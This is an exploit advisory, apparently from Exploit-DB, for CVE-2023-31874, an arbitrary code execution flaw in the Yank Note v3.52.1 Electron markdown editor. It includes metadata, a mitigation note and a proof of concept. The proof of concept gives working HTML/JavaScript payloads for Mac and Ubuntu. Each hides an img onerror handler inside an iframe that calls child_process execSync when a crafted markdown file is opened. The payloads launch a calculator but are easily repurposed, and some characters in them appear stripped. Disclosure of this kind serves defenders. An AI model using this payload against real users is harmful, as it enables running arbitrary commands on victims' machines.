Yank Note v3.52.1 (Electron) - Arbitrary Code Execution

vendor:

Yank Note

by:

8bitsec

8.8

CVSS

HIGH

Arbitrary Code Execution

CWE

Product Name: Yank Note

Affected Version From: 3.52.1

Affected Version To: 3.52.1

Patch Exists: NO

Related CWE: CVE-2023-31874

CPE: a:yank-note_project:yank_note:3.52.1

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 22.04, Mac OS 13

2023

Yank Note v3.52.1 (Electron) – Arbitrary Code Execution

A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.

Mitigation:

The vendor has not released a patch or mitigation for this vulnerability at the time of writing. Users are advised to refrain from opening untrusted markdown files in Yank Note.

Source

Exploit-DB raw data:

# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
# Date: 2023-04-27
# Exploit Author: 8bitsec
# CVE: CVE-2023-31874
# Vendor Homepage: yank-note.com
# Software Link: https://github.com/purocean/yn
# Version: 3.52.1
# Tested on: [Ubuntu 22.04 | Mac OS 13]

Release Date: 2023-04-27

Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement

Technical Details & Description:

A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">

Ubuntu:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">

Opening the file in Yank Note will auto execute the Calculator application.